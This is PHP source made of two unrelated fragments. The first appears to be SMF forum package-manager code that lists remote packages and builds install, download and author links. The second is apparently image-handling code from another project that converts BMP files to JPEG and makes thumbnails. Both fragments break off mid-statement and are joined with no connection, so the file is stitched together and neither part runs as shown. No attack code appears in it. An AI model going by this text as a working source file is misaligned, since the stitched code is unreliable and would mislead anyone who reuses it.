'</a>'; } else { if (isset($_GET['absolute'])) { $current_url = $_GET['absolute'] . '/'; } elseif (isset($_GET['relative'])) { $current_url = $_GET['relative'] . '/'; } else { $current_url = ''; } $server_att = $server != '' ? ';server=' . $server : ''; $package += $thisPackage->to_array(); if (isset($package['website'])) { unset($package['website']); } $package['author'] = array(); if ($package['description'] == '') { $package['description'] = $txt['pacman8']; } else { $package['description'] = parse_bbc(preg_replace('~\\[[/]?html\\]~i', '', htmlspecialchars($package['description']))); } $package['is_installed'] = isset($installed_mods[$package['id']]); $package['is_current'] = $package['is_installed'] && $installed_mods[$package['id']] == $package['version']; $package['is_newer'] = $package['is_installed'] && $installed_mods[$package['id']] > $package['version']; // This package is either not installed, or installed but old. Is it supported on this version of SMF? if (!$package['is_installed'] || !$package['is_current'] && !$package['is_newer']) { if ($thisPackage->exists('version/@for')) { $package['can_install'] = matchPackageVersion($the_version, $thisPackage->fetch('version/@for')); } } else { $package['can_install'] = false; } $already_exists = getPackageInfo(basename($package['filename'])); $package['download_conflict'] = !empty($already_exists) && $already_exists['id'] == $package['id'] && $already_exists['version'] != $package['version']; $package['href'] = $url . '/' . $package['filename']; $package['name'] = htmlspecialchars($package['name']); $package['link'] = '<a href="' . $package['href'] . '">' . $package['name'] . '</a>'; $package['download']['href'] = $scripturl . '?action=packageget;sa=download' . $server_att . ';package=' . $current_url . $package['filename'] . ($package['download_conflict'] ? ';conflict' : '') . ';sesc=' . $context['session_id']; $package['download']['link'] = '<a href="' . $package['download']['href'] . '">' . $package['name'] . '</a>'; if ($thisPackage->exists('author') || isset($default_author)) { if ($thisPackage->exists('author/@email')) { $package['author']['email'] = htmlspecialchars($thisPackage->fetch('author/@email')); } elseif (isset($default_email)) { $package['author']['email'] = $default_email; } if ($thisPackage->exists('author') && $thisPackage->fetch('author') != '') { $package['author']['name'] = htmlspecialchars($thisPackage->fetch('author')); } else { $package['author']['name'] = $default_author; } if (!empty($package['author']['email'])) { // Only put the "mailto:" if it looks like a valid email address. Some may wish to put a link to an SMF IM Form or other web mail form. $package['author']['href'] = preg_match('~^[\\w\\.\\-]+@[\\w][\\w\\-\\.]+[\\w]$~', $package['author']['email']) != 0 ? 'mailto:' . $package['author']['email'] : $package['author']['email']; $package['author']['link'] = '<a href="' . $package['author']['href'] . '">' . $package['author']['name'] . '</a>'; } } if ($thisPackage->exists('website') || isset($default_website)) { if ($thisPackage->exists('website') && $thisPackage->exists('website/@title')) { $package['author']['website']['name'] = htmlspecialchars($thisPackage->fetch('website/@title')); } elseif (isset($default_title)) { $package['author']['website']['name'] = $default_title; } elseif ($thisPackage->exists('website')) { $package['author']['website']['name'] = htmlspecialchars($thisPackage->fetch('website')); } else { $package['author']['website']['name'] = $default_website; } if ($thisPackage->exists('website') && $thisPackage->fetch('website') != '') { $authorhompage = $thisPackage->fetch('website'); } else { $authorhompage = $default_website; } if (strpos(strtolower($authorhompage), 'a href') === false) { $package['author']['website']['href'] = $authorhompage; $package['author']['website']['link'] = '<a href="' . $authorhompage . '">' . $package['author']['website']['name'] . '</a>'; } else { if (preg_match('/a href="(.+?)"/', $authorhompage, $match) == 1) { $package['author']['website']['href'] = $match[1]; } else { $package['author']['website']['href'] = ''; } $package['author']['website']['link'] = $authorhompage; } } else { $package['author']['website']['href'] = ''; $package['author']['website']['link'] = ''; } } $package['is_remote'] = $package['type'] == 'remote'; $package['is_title'] = $package['type'] == 'title'; $package['is_heading'] = $package['type'] == 'heading'; $package['is_text'] = $package['type'] == 'text'; $package['is_line'] = $package['type'] == 'rule'; $packageNum = in_array($package['type'], array('title', 'heading', 'text', 'remote', 'rule')) ? 0 : $packageNum + 1; $package['count'] = $packageNum; } } // Lets make sure we get a nice new spiffy clean $package to work with. Otherwise we get PAIN! unset($package); foreach ($context['package_list'] as $i => $package) { if ($package['count'] == 0 || isset($package['can_install'])) { continue; } $context['package_list'][$i]['can_install'] = false; $packageInfo = getPackageInfo($url . '/' . $package['filename']); if (!empty($packageInfo) && $packageInfo['xml']->exists('install')) { $installs = $packageInfo['xml']->set('install'); foreach ($installs as $install) { if (!$install->exists('@for') || matchPackageVersion($the_version, $install->fetch('@for'))) { // Okay, this one is good to go. $context['package_list'][$i]['can_install'] = true; break; } } } } }
} } else { imagejpeg(icImageCreateFromBMP(JPATH_ROOT . '/' . $imageValue), JPATH_ROOT . '/' . $copyPath . $cleanTitle . '.jpg', 100); } $imageValue = $copyPath . $cleanTitle . '.jpg'; $linkToImage = JPATH_ROOT . '/' . $imageValue; if (!$fopen) { $fopen_bmp_error_msg = true; } elseif (url_exists($linkToImage) or file_exists($linkToImage)) { createthumb($linkToImage, JPATH_ROOT . '/' . $Thumb_Link, $thumb_width, $thumb_height, $thumb_quality); } else { $Invalid_Link = true; } } } else { if (url_exists($linkToImage) or file_exists($linkToImage)) { $Invalid_Img_Format = true; } else { $Invalid_Link = true; } } if (!$Invalid_Link) { $Display_Thumb = true; } } else { if ($imgextension == "jpg" or $imgextension == "jpeg" or $imgextension == "png" or $imgextension == "gif" or $imgextension == "bmp") { $MimeTypeERROR = true; } else { $Invalid_Img_Format = true; $MimeTypeERROR = false; }